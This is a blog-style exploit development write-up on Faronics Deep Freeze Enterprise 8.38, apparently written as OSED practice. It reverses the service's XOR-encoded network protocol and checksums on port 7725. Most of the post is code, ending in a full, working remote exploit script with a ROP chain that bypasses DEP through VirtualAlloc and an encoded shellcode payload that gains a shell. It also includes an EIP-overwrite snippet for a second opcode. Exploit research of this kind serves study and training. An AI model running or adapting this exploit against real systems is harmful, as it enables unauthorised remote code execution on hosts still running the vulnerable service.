A Deep Dive into Faronics Deep Freeze Enterprise [Legacy Windows Software] - Fri, Dec 22, 2023
TLDR
Faronics Deep Freeze Enterprise version 8.38.220.5256 is vulnerable to a stack buffer overflow vulnerability. It uses 2 XOR encoding schemes, as well as an additional third checksum, to ensure that the packets sent to it are valid. As DEP is enabled, the stack buffer overflow can be exploited by building a ROP chain with a dummy VirtualAlloc skeleton, patching the arguments in, and performing a stack pivot to call VirtualAlloc and finally return to our shellcode.
Table of Contents
- Introduction to Faronics
- Basic Analysis
- Wireshark
- XOR Part One
- XOR Part Two
- Protocol Header and encode_three Checksum
- Opcode Jumptable
- The Rabbit Hole
- The Actual Vulnerable Opcode
Introduction to Faronics
Faronics Deep Freeze Enterprise is software that aims to protect endpoints by saving a snapshot of a computer’s desired configuration and settings, and allowing a revert to its previous state when desired. Version 8.38.220.5256, being old Windows software published in 2017, also makes it a perfect target for OSED practise :D This was a very interesting target to practise Windows reverse engineering on as the XOR encoding schemes it uses somehow feel very CTF-y, which was something I did not expect to see in real software!
(Disclaimer 1: This post contains spoilers. Proceed at your own risk!)
(Disclaimer 2: I wrote this quite a while later after I have pwned Faronics; if I do write any garbage, please correct me!)
Basic Analysis
A quick look using TCPView from the SysInternals suite shows us that it is listening on both TCP and UDP port 7725 for connections.
I then opened the binary (DFServerService.exe) in IDA (note that the executable is packed with UPX; it must first be unpacked before reversing), and realized that at the function at 0x0045EBE0, there were two other functions, 0x0045EB58 and 0x0045EACC, which both called recv. Wanting to make my life easier, I opened the binary in WinDBG, set breakpoints on WSOCK32!recv, made a simple script using pwntools to send 1000 As, and tried to see what would happen. I realized that the function with the recv call at 0x0045EB58 would be called first, but as once my script finished executing it closed the socket, and hence the recv would fail. Adding a pause() after sending the As helped, and I realized that recv was called twice; the call at 0x0045EB58 was to receive the number of bytes that would be received as data, and the second call at 0x0045EACC was to actually receive the data.
However, as there was a lot of assembly code (we are not allowed to use a decompiler in the OSED) and I was lazy, instead of looking through the pile of assembly after the recv calls, I turned to wireshark to help me in my analysis.
Wireshark
I pulled Wireshark onto the debugging machine where Faronics was installed, and started pressing random things in the admin control panel to try to trigger messages sent by the admin panel to DFServerService in an attempt to get an easy pass on understanding the protocol. The local admin panel also initiates a connection to the server service via port 7725, so if we sniff traffic on localhost, we would be able to see all communication between the server service and the admin.
(The Faronics Deep Freeze Admin Console – in this case, the admin console on localhost is connected to the server service running on port 7725. I performed random operations such as the Add Group as shown above to try to trigger messages which I could capture.)
After sniffing the traffic on wireshark, I could see the message sending the length and data very clearly. The packet containing the length of the data is as such:
And the packet containing the data (which is currently gibberish):
And an actual wireshark:
Apparently the sharks will attack internet cables as the cables generate an electric field, possibly making the sharks (which are very sensitive to electromagnetic fields due to special organs known as ampullae of Lorenzini) think of them as prey.
Anyways, we can clearly see that the data is being encoded in some form, which means that we have to reverse engineer some form of encoding mechanism. From the IDA screenshot below, you can see the function that calls recv for the size, as well as for the data. After the data has been successfully received, code execution proceeds to 0x0045EE0B, and then 0x0045EE31, where it will call the “do_encrypt_and_checksum” function at 0x0045E36C.
Inside the do_encrypt_and_checksum function at 0x0045E36C, there is another function “do_encrypt_and_memcpy” (sorry for the shitty names) at 0x0046F074, which will call two functions “do_xor_part_one” at 0x0046F220 and “do_xor_part_two” at 0x0046F1B4. This is where the fun begins.
XOR Part One
The gist of the XOR algorithm is this: an XOR key array will be generated based on a certain seed, and then each of the bytes of the payload would be XORed with its respective key byte.
The “do_xor_part_one” function at 0x0046F220 will first call “generate_xor_one_key” at 0x004B04DC.
In the “generate_xor_one_key” function at 0x004B04DC, a seed value from DFServerService+0x5ed208 will first be extracted. Note that the seed value is generated based on the customization code entered when Faronics is installed. In this case, the customization code I used was “meowmeow”, which led to a seed value of 0x0c6e3d57. I suspect the seed value is generated by some hashing algorithm in the DFInit.exe executable that runs once Faronics has been installed, but that would be another reversing adventure for another day. Another value at DFServerService+0x5ed208+4 will be zeroed out – this value will be important later, and I will call this “value2”. After that is all done, the “generate_xor_one_key_actual_math” function at 0x004B04F8 will be called – this is the first part of the actual math to generate the key_array.
Some math is then done in “generate_xor_one_key_actual_math” to kick off the key generation process for the first XOR:
These are the helper functions that I have used to make life a little easier:
def truncate(num):
num = num & 0xffffffff
return num
def complement(val):
nbits = 32
if val >= 0:
return val
else:
return (val + (1 << nbits)) % (1 << nbits)
def bit_not(n, numbits=4):
return (1 << numbits) - 1 - n
I have translated the logic into python to make it easier to understand:
def gen_key_xor1(num):
key_arr = []
printable = []
seed = 0x0c6e3d57 ## for meowmeow as the customization code
value2 = 0x0
seed = truncate(seed * 0x15a4e35)
seed = truncate(seed + 1)
for i in range(num):
if i == 0:
part1 = seed * 0x15a
part2 = seed * 0x4e35
part2_high = part2 >> 4*8
part2_low = truncate(part2)
part1 = truncate(part2_high + part1)
part2_low = truncate(part2 + 1)
seed = part2_low
value2 = truncate(part1)
...
Both seed and value2 are modified by the function, and will be further modified later in a loop in the XOR operation.
After the seed value and value2 have been initialized, the loop to perform the XOR operation begins.
Returning back to “do_xor_part_one” at 0x0046F220, another function “generate_xor_one_key_actual_math_2” at 0x004B051C is then called to generate the values of the XOR key. Note that after “generate_xor_one_key_actual_math_2” is done, there is an additional and eax, 0x800000FF
step in “do_xor_part_one”. The line xor [ecx+eax], dl
then performs the actual XOR operation.
I have also implemented this in python (hopefully this is readable; this is spaghetti code whoops) – continuing from the code above:
else:
part2 = value2 * 0x4e35
part1 = seed * 0x15a
addition = truncate(truncate(part1) + truncate(part2))
part3 = seed * 0x4e35
part3_high = part3 >> 4*8
part3_low = truncate(part3)
addition = truncate(part3_high + addition)
seed = truncate(part3_low + 1)
value2 = addition
result = value2 & 0x7fffffff
result = result & 0x800000ff
key_arr.append(result)
printable.append(hex(result))
#print(printable)
return key_arr
XOR Part Two
Once “do_xor_part_one” is complete, it returns back to “do_encrypt_and_memcpy” at 0x0046F074, which will then call “do_xor_part_two” at 0x0046F1B4. “do_xor_part_two” will take the first 4 bytes of the payload decrypted by the first XOR scheme as the seed, and will start decrypting from the start of the payload + 4.
“do_xor_part_two” will first call “generate_xor_two_key” at 0x0046F150, which will initialize the key generator by doing some math on the seed. The actual loop that performs the XOR operation will then start after the key generator has been initialized, and will call “generate_xor_two_key” for every loop. Similarly, the XOR operation is performed by the instruction xor [ecx+eax], dl
.
The function “generate_xor_two_key” at 0x0046F150 can be seen here:
I have also converted this XOR encoding scheme into a python function to generate the key array:
def gen_key_xor2(num, header):
key_arr = []
printable = []
ax = 0
for i in range(num):
if i == 0:
quotient = header // 0xb1
remainder = header % 0xb1
ecx = 0xab * remainder
part1 = quotient + quotient
neg = complement(ecx - part1)
ax = neg & 0xffff
ax = ax & 0x7fff
ax_quotient = ax // 0xb1 ## ecx
ax_remainder = ax % 0xb1 ## edx
ecx = truncate(ax_remainder * 0xab)
ax = truncate(ax_quotient + ax_quotient)
ecx = truncate(complement(ecx - ax))
ecx = ecx & 0x7fff ## eax
ax = ecx
result = ecx & 0xff
key_arr.append(result)
printable.append(hex(result))
#print(printable)
return key_arr
By this point, we have all we need to decode the encoded messages in wireshark! For example, for a “list groups” message, after decoding with 2 XOR operations (does not include part of the header):
bytearray(b'\x00\xff\xfe<\x00?\x00x\x00m\x00l\x00 \x00v\x00e\x00r\x00s\x00i\x00o\x00n\x00=\x00"\x001\x00.\x000\x00"\x00 \x00e\x00n\x00c\x00o\x00d\x00i\x00n\x00g\x00=\x00"\x00U\x00T\x00F\x00-\x001\x006\x00"\x00?\x00>\x00\r\x00\n\x00<\x00G\x00r\x00o\x00u\x00p\x00s\x00>\x00\r\x00\n\x00\t\x00<\x00G\x00r\x00o\x00u\x00p\x001\x00 \x00N\x00a\x00m\x00e\x00=\x00"\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00c\x00a\x00t\x00"\x00 \x00I\x00d\x00=\x00"\x001\x00"\x00 \x00U\x00s\x00e\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00=\x00"\x000\x00"\x00 \x00F\x00i\x00l\x00t\x002\x00=\x00"\x001\x00"\x00 \x00P\x00a\x00r\x00e\x00n\x00t\x00I\x00d\x00=\x00"\x000\x00"\x00>\x00\r\x00\n\x00\t\x00\t\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00\r\x00\n\x00\t\x00\t\x00\t\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00/\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00\r\x00\n\x00\t\x00<\x00/\x00G\x00r\x00o\x00u\x00p\x001\x00>\x00\r\x00\n\x00\t\x00<\x00G\x00r\x00o\x00u\x00p\x002\x00 \x00N\x00a\x00m\x00e\x00=\x00"\x00t\x00e\x00s\x00t\x00t\x00e\x00s\x00t\x00"\x00 \x00I\x00d\x00=\x00"\x002\x00"\x00 \x00U\x00s\x00e\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00=\x00"\x000\x00"\x00 \x00F\x00i\x00l\x00t\x002\x00=\x00"\x001\x00"\x00 \x00P\x00a\x00r\x00e\x00n\x00t\x00I\x00d\x00=\x00"\x000\x00"\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00/\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00<\x00/\x00G\x00r\x00o\x00u\x00p\x002\x00>\x00<\x00G\x00r\x00o\x00u\x00p\x004\x00 \x00N\x00a\x00m\x00e\x00=\x00"\x00m\x00e\x00o\x00w\x00c\x00a\x00t\x00s\x00"\x00 \x00I\x00d\x00=\x00"\x004\x00"\x00 \x00U\x00s\x00e\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00=\x00"\x000\x00"\x00 \x00F\x00i\x00l\x00t\x002\x00=\x00"\x001\x00"\x00 \x00P\x00a\x00r\x00e\x00n\x00t\x00I\x00d\x00=\x00"\x001\x00"\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00F\x00i\x00l\x00t\x00e\x00r\x00 \x00O\x00p\x00=\x00"\x00E\x00Q\x00U\x00"\x00 \x00C\x00o\x00l\x00u\x00m\x00n\x00=\x00"\x00L\x00I\x00S\x00T\x00V\x00I\x00E\x00W\x00_\x00W\x00K\x00S\x00"\x00 \x00V\x00a\x00l\x00u\x00e\x00=\x00"\x00"\x00/\x00>\x00<\x00/\x00F\x00i\x00l\x00t\x00e\x00r\x00s\x00>\x00<\x00/\x00G\x00r\x00o\x00u\x00p\x004\x00>\x00<\x00G\x00r\x00o\x00u\x00p\x005\x00 \x00N\x00a\x00m\x00e\x00=\x00"\x00h\x00i\x00h\x00i\x00"\x00 \x00I\x00d\x00=\x00"\x005\x00"\x00 \x00U\x00s\x00e\x00F\x00i\x00l\x00t\x00e\x00r\x00s')
The characters inside use the Windows wchar type, so to make this more readable, I removed all the preceding null bytes to get the corresponding ASCII characters (does not include part of the header but those parts do not decode to nice ASCII bytes):
bytearray(b'97\x08\x14X\xa9\xf6\x01\\\x08\\\x08\x01\xf8\x01\xff\xfe<?xml version="1.0" encoding="UTF-16"?>\r\n<Groups>\r\n\t<Group1 Name="catcatcatcatcatcatcatcat" Id="1" UseFilters="0" Filt2="1" ParentId="0">\r\n\t\t<Filters>\r\n\t\t\t<Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/></Filters>\r\n\t</Group1>\r\n\t<Group2 Name="testtest" Id="2" UseFilters="0" Filt2="1" ParentId="0"><Filters><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/></Filters></Group2><Group4 Name="meowcats" Id="4" UseFilters="0" Filt2="1" ParentId="1"><Filters><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/><Filter Op="EQU" Column="LISTVIEW_WKS" Value=""/></Filters></Group4><Group5 Name="hihi" Id="5" UseFilters')
For this particular message, part of the decoded header was as such:
Padding 1 (offset): 0x10
Checksum 1: 0xa953
Padding 2: 0x870
Length (P1+P2): 0x880
Checksum 4: 0x8373900
Checksum 3: 0x14
Checksum 2: 0xa958
Opcode: 0x1f6
Protocol Header and encode_three Checksum
Through further reverse engineering and looking at certain checksums from the decoded Wireshark messages, the message header was determined to have the following structure:
0x00 - 0x03: XOR 2 seed
0x04 - 0x07: Offset
0x08 - 0x0b: Checksum 1 (0x0a953)
0x0c - 0x0f: Length of payload - offset
0x10 - 0x13: encode_three Checksum
0x14 - 0x17: Checksum 3 (0x14)
0x18 - 0x1b: Checksum 2 (0xa958)
0x1c - 0x1f: Opcode
0x20 - 0x23: Size (?)
0x24 - 0x27: Size (?)
Before proceeding to the opcode jumptable, there is a final “encode_three” checksum check (it’s only called that because that was the name of the function in my python code) to ensure that the message is valid.
After “do_encrypt_and_memcpy” returns back into “do_encrypt_and_checksum” at 0x0045E36C, “do_checksums” at 0x0046EED4 is called.
“do_checksums” will first check if checksum 1 (header 0x08 - 0x0b) is equals to 0x0a953 via the instruction cmp dword ptr [edx+8], 0A958h
, before calling “do_encode_three_checksum” at 0x007A921C to proceed with the next check.
“do_encode_three_checksum” will calculate a checksum based on all the data starting from byte 0x14 onwards.
I have translated the asm code logic into python:
def encode_three(msg, count):
buffer = msg
variable = 0 ## edx
eax = 0
counter = count
var2 = 0
for i in range(count):
eax = truncate(eax << 4)
eax = buffer[i] + eax
variable = eax
variable = variable & 0xF0000000
if variable == 0:
variable = 0xffffffff
eax = variable & eax
counter += 1
else:
var2 = variable
variable = truncate(variable >> 0x18)
eax = truncate(eax ^ variable)
var2 = complement(~var2)
eax = eax & var2
return eax
Back to “do_checksums”, once “do_encode_three_checksum” is complete, a check is done to make sure that the computed checksum is equal to the checksum provided in payload bytes 0x10 to 0x13. This is done via the cmp edx, [ecx]
instruction.
Once this is done, the opcode jumptable will finally be called!
Opcode Jumptable
Back in “do_encrypt_and_checksum”, .text:0045E42F call dword ptr [ecx+810h]
will call a function “do_create_thread_call_jumptable” at 0x0042E370, which will create a new thread, which will call a function “do_fn_before_jumptable” at 0x042F970, which will finally call the jumptable function at 0x0042FA18.
Look at this absolutely horrifying giant function:
I then started trying to find opcodes which were potentially exploitable. There are many many ways to crash the binary, but I wanted something that would give me RCE. I mainly took a fuzzing approach to this, since there were really a lot a lot of opcodes.
The Rabbit Hole
I chanced upon opcode 0x1f6, which gave me my first crash and made me stupidly excited that I could finally pwn this damn thing. This would lead to a crash at 0x0043e2e7, as it tries to dereference edx, which is a register that we can control. Causing an invalid dereference will allow us to overwrite the SEH handler, and replacing edx with a valid pointer will give us a direct EIP overwrite!
The data section of a payload to overwrite EIP would look something like this:
data = p32(0x14) # Checksum 3
data += p32(0xa958) ## Checksum 2
data += p32(0x1f6) ## Opcode
data += p32(size) ## Size (?)
data += p32(size) ## Size (?)
data += b"ZZZZ"
data += p32(0x145) ## Second opcode for opcode 0x1f6
data += cyclic(cyclic_find("aacc"))
data += p32(0xdeadbeef) ## EIP overwrite
data += p32(0x0135faf0) ## Valid pointer for edx
We can overwrite EIP with 0xdeadbeef, but naturally we would want to overwrite it with something that is actually useful. However, all the pointers in the DFServerService executable start with \x00, which is a bad character! This means that if we overwrite EIP with a pointer from DFServerService, we will no longer be able to control the value inside edx, hence the condition to cause the direct EIP overwrite will not be fulfilled :(((
I spent a lot of time thinking of ways around this, but could not, and sadly had to abandon this opcode and write it off as a Denial of Service instead of an RCE :((((
The Actual Vulnerable Opcode
I then went back to fuzzing, and chanced upon opcode 0xc9. Spamming a lot of As gave me a SEH overwrite this time, which I could now use to kickstart my ROP chain :DDD
Note that in this case, \x00 is not a bad character on its own, but \x00\x00 is a bad character. This is likely due to wchar being used, and \x00\x00 would equate to a “wchar null byte”.
Now that we control EIP, we can create the VirtualAlloc skeleton and build our ROP chain and finally get a shell!
The full exploit is here:
#!/bin/python3
import socket
from pwn import *
from time import sleep
#context.log_level = "debug"
proc = remote("192.168.185.10", 7725)
def truncate(num):
num = num & 0xffffffff
return num
def complement(val):
nbits = 32
if val >= 0:
return val
else:
return (val + (1 << nbits)) % (1 << nbits)
def bit_not(n, numbits=4):
return (1 << numbits) - 1 - n
def gen_key_xor1(num):
key_arr = []
printable = []
seed = 0x0c6e3d57 ## for meowmeow as the customization code
value2 = 0x0
seed = truncate(seed * 0x15a4e35)
seed = truncate(seed + 1)
for i in range(num):
if i == 0:
part1 = seed * 0x15a
part2 = seed * 0x4e35
part2_high = part2 >> 4*8
part2_low = truncate(part2)
part1 = truncate(part2_high + part1)
part2_low = truncate(part2 + 1)
seed = part2_low
value2 = truncate(part1)
else:
part2 = value2 * 0x4e35
part1 = seed * 0x15a
addition = truncate(truncate(part1) + truncate(part2))
part3 = seed * 0x4e35
part3_high = part3 >> 4*8
part3_low = truncate(part3)
addition = truncate(part3_high + addition)
seed = truncate(part3_low + 1)
value2 = addition
result = value2 & 0x7fffffff
result = result & 0x800000ff
key_arr.append(result)
printable.append(hex(result))
#print(printable)
return key_arr
def gen_key_xor2(num, header):
key_arr = []
printable = []
ax = 0
for i in range(num):
if i == 0:
quotient = header // 0xb1
remainder = header % 0xb1
ecx = 0xab * remainder
part1 = quotient + quotient
neg = complement(ecx - part1)
ax = neg & 0xffff
ax = ax & 0x7fff
ax_quotient = ax // 0xb1 ## ecx
ax_remainder = ax % 0xb1 ## edx
ecx = truncate(ax_remainder * 0xab)
ax = truncate(ax_quotient + ax_quotient)
ecx = truncate(complement(ecx - ax))
ecx = ecx & 0x7fff ## eax
ax = ecx
result = ecx & 0xff
key_arr.append(result)
printable.append(hex(result))
#print(printable)
return key_arr
def decode(msg):
key1 = gen_key_xor1(len(msg))
for i in range(len(msg)):
msg[i] = msg[i] ^ key1[i]
thing = u32(msg[:4], endian="little")
key2 = gen_key_xor2(len(msg)-4, thing)
for i in range(len(msg)-4):
msg[i+4] = msg[i+4] ^ key2[i]
return msg
def decode_print(dec):
print("Padding 1 (offset): " + hex(u32(dec[4:8])))
print("Checksum 1: " + hex(u32(dec[8:12])))
print("Padding 2: " + hex(u32(dec[12:16])))
print("Length (P1+P2): " + hex((u32(dec[4:8]))+u32(dec[12:16])))
print("Checksum 4: " + hex(u32(dec[4*4:4*4+4])))
print("Checksum 3: " + hex(u32(dec[5*4:5*4+4])))
print("Checksum 2: " + hex(u32(dec[6*4:6*4+4])))
print("Opcode: " + hex(u32(dec[7*4:7*4+4])))
def encode_widestr(msg):
return b'\x00'.join(msg[i:i+1] for i in range(0, len(msg)))+b"\x00"
def encode_three(msg, count):
buffer = msg
variable = 0 ## edx
eax = 0
counter = count
var2 = 0
for i in range(count):
eax = truncate(eax << 4)
eax = buffer[i] + eax
variable = eax
variable = variable & 0xF0000000
if variable == 0:
variable = 0xffffffff
eax = variable & eax
counter += 1
else:
var2 = variable
variable = truncate(variable >> 0x18)
eax = truncate(eax ^ variable)
var2 = complement(~var2)
eax = eax & var2
return eax
## SIZE IS HERE
size = 0x1500
## Send size of data packet
padding = p32(size, endian="big")
payload = padding
proc.send(payload)
## Generate xor keys
key1 = gen_key_xor1(size+0x1000)
key2 = gen_key_xor2(size+0x1000, 0x73746163)
header = b"cats" ## XOR2 seed
header += p32(0x10) ## Offset
header += p32(0x0a953) ## Checksum 1
header += p32(size-0x10) ## len(payload)
## 0x10-0x13: encode_three checksum
data = p32(0x14) # Checksum 3
data += p32(0xa958) ## Checksum 2
data += p32(0xc9) ## Opcode
data += p32(size) ## Size
data += p32(size) ## Size
data += b"Z"*(cyclic_find("bkja"))
data += p32(0x00441ec6) ## first ROP point -- xchg esp, eax ; ret
## ROP1: Write VirtualAlloc address
rop1 = b"Z"*(cyclic_find("faaa"))
rop1 += p32(0x00542afb) ## ret 0x20
rop1 += p32(0x005039bd) ## mov eax, edx ; ret
rop1 += p32(0x41414141) ## VirtualAlloc
rop1 += p32(0x42424242) ## Return address
rop1 += p32(0x43434343) ## lpAddress
rop1 += p32(0x44444444) ## dwSize
rop1 += p32(0x45454545) ## flAllocationType
rop1 += p32(0x46464646) ## flProtect
rop1 += b"Z"*cyclic_find("caaa")
rop1 += p32(0x00402a35) ## pop ebp ; ret
rop1 += p32(0xffffffa8) ## -0x58
rop1 += p32(0x004e041b) ## add eax, ebp ; ret
rop1 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop1 += p32(0xffffffff) ## dummy ebp
rop1 += p32(0x004d76f4) ## pop eax ; ret
rop1 += p32(0x00A508AC) ## VirtualAlloc IAT
rop1 += p32(0x006700c4) ## mov eax, dword ptr [eax] ; ret
rop1 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret
## Write Return Address
rop1 += p32(0x005039bd) ## mov eax, edx ; ret
rop1 += p32(0x004a55fb) ## pop ecx ; ret
rop1 += p32(0xfffffffc) ## -4
rop1 += p32(0x006654c2) ## sub eax, ecx ; ret
rop1 += p32(0x00542afb) ## ret 0x20
rop1 += p32(0x004023c1) ## ret
rop2 = b"Z"*(cyclic_find("haaa"))
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffe4c) ## -0x1b4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret
## Write lpAddress
rop2 += p32(0x005039bd) ## mov eax, edx ; ret
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffffc) ## -4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret
## Write dwSize
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffffc) ## -4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x004d76f4) ## pop eax ; ret
rop2 += p32(0xffffffff)
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffff6ff) ## 0xffffffff-0xfffff6ff = 0x900
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret
## Write flAllocationType
rop2 += p32(0x005039bd) ## mov eax, edx ; ret
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffffc) ## -4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x004d76f4) ## pop eax ; ret
rop2 += p32(0xffffffff)
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xffffefff) ## 0xffffffff-0xffffefff = 0x1000
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret
## Write flProtect
rop2 += p32(0x005039bd) ## mov eax, edx ; ret
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xfffffffc) ## -4
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x006b500f) ## mov edx, eax ; pop ebp ; ret
rop2 += p32(0xffffffff) ## dummy ebp
rop2 += p32(0x004d76f4) ## pop eax ; ret
rop2 += p32(0xffffffff)
rop2 += p32(0x004a55fb) ## pop ecx ; ret
rop2 += p32(0xffffffbf) ## 0xffffffff-0xffffffbf = 0x40
rop2 += p32(0x006654c2) ## sub eax, ecx ; ret
rop2 += p32(0x00588a1a) ## mov dword ptr [edx], eax ; ret
## Stack pivot
rop2 += p32(0x005039bd) ## mov eax, edx ; ret
rop2 += p32(0x00402a35) ## pop ebp ; ret
rop2 += p32(0xffffffec) ## -20
rop2 += p32(0x004e041b) ## add eax, ecx ; ret
rop2 += p32(0x00441ec6) ## xchg esp, eax ; ret
data += rop1
data += b"Z"*(cyclic_find("faab")-len(rop1))
data += p32(0x006224cf) ## handler -- popal ; salc ; cld ; call dword ptr [eax - 0x18]
data += rop2
data += cyclic(cyclic_find("baab"))
## Shellcode
shellcode = b"\x90"*0x100
shellcode += b"\xd9\xf7\xbd\x4c\x81\x23\x79\xd9\x74\x24\xf4"
shellcode += b"\x5a\x2b\xc9\xb1\x52\x83\xc2\x04\x31\x6a\x13"
shellcode += b"\x03\x26\x92\xc1\x8c\x4a\x7c\x87\x6f\xb2\x7d"
shellcode += b"\xe8\xe6\x57\x4c\x28\x9c\x1c\xff\x98\xd6\x70"
shellcode += b"\x0c\x52\xba\x60\x87\x16\x13\x87\x20\x9c\x45"
shellcode += b"\xa6\xb1\x8d\xb6\xa9\x31\xcc\xea\x09\x0b\x1f"
shellcode += b"\xff\x48\x4c\x42\xf2\x18\x05\x08\xa1\x8c\x22"
shellcode += b"\x44\x7a\x27\x78\x48\xfa\xd4\xc9\x6b\x2b\x4b"
shellcode += b"\x41\x32\xeb\x6a\x86\x4e\xa2\x74\xcb\x6b\x7c"
shellcode += b"\x0f\x3f\x07\x7f\xd9\x71\xe8\x2c\x24\xbe\x1b"
shellcode += b"\x2c\x61\x79\xc4\x5b\x9b\x79\x79\x5c\x58\x03"
shellcode += b"\xa5\xe9\x7a\xa3\x2e\x49\xa6\x55\xe2\x0c\x2d"
shellcode += b"\x59\x4f\x5a\x69\x7e\x4e\x8f\x02\x7a\xdb\x2e"
shellcode += b"\xc4\x0a\x9f\x14\xc0\x57\x7b\x34\x51\x32\x2a"
shellcode += b"\x49\x81\x9d\x93\xef\xca\x30\xc7\x9d\x91\x5c"
shellcode += b"\x24\xac\x29\x9d\x22\xa7\x5a\xaf\xed\x13\xf4"
shellcode += b"\x83\x66\xba\x03\xe3\x5c\x7a\x9b\x1a\x5f\x7b"
shellcode += b"\xb2\xd8\x0b\x2b\xac\xc9\x33\xa0\x2c\xf5\xe1"
shellcode += b"\x67\x7c\x59\x5a\xc8\x2c\x19\x0a\xa0\x26\x96"
shellcode += b"\x75\xd0\x49\x7c\x1e\x7b\xb0\x17\xe1\xd4\x97"
shellcode += b"\x17\x89\x26\xe7\xd6\xf1\xae\x01\xb2\x15\xe7"
shellcode += b"\x9a\x2b\x8f\xa2\x50\xcd\x50\x79\x1d\xcd\xdb"
shellcode += b"\x8e\xe2\x80\x2b\xfa\xf0\x75\xdc\xb1\xaa\xd0"
shellcode += b"\xe3\x6f\xc2\xbf\x76\xf4\x12\xc9\x6a\xa3\x45"
shellcode += b"\x9e\x5d\xba\x03\x32\xc7\x14\x31\xcf\x91\x5f"
shellcode += b"\xf1\x14\x62\x61\xf8\xd9\xde\x45\xea\x27\xde"
shellcode += b"\xc1\x5e\xf8\x89\x9f\x08\xbe\x63\x6e\xe2\x68"
shellcode += b"\xdf\x38\x62\xec\x13\xfb\xf4\xf1\x79\x8d\x18"
shellcode += b"\x43\xd4\xc8\x27\x6c\xb0\xdc\x50\x90\x20\x22"
shellcode += b"\x8b\x10\x40\xc1\x19\x6d\xe9\x5c\xc8\xcc\x74"
shellcode += b"\x5f\x27\x12\x81\xdc\xcd\xeb\x76\xfc\xa4\xee"
shellcode += b"\x33\xba\x55\x83\x2c\x2f\x59\x30\x4c\x7a"
data += shellcode
data += cyclic(size-len(data))
header += p32(encode_three(data, size-0x10-0x4))
payload = header + data
print("Total len of payload: " + hex(len(payload)))
payload = bytearray(payload)
for i in range(len(payload)):
payload[i] = payload[i] ^ key1[i]
for i in range(len(payload)-4):
payload[i+4] = payload[i+4] ^ key2[i]
proc.send(payload)
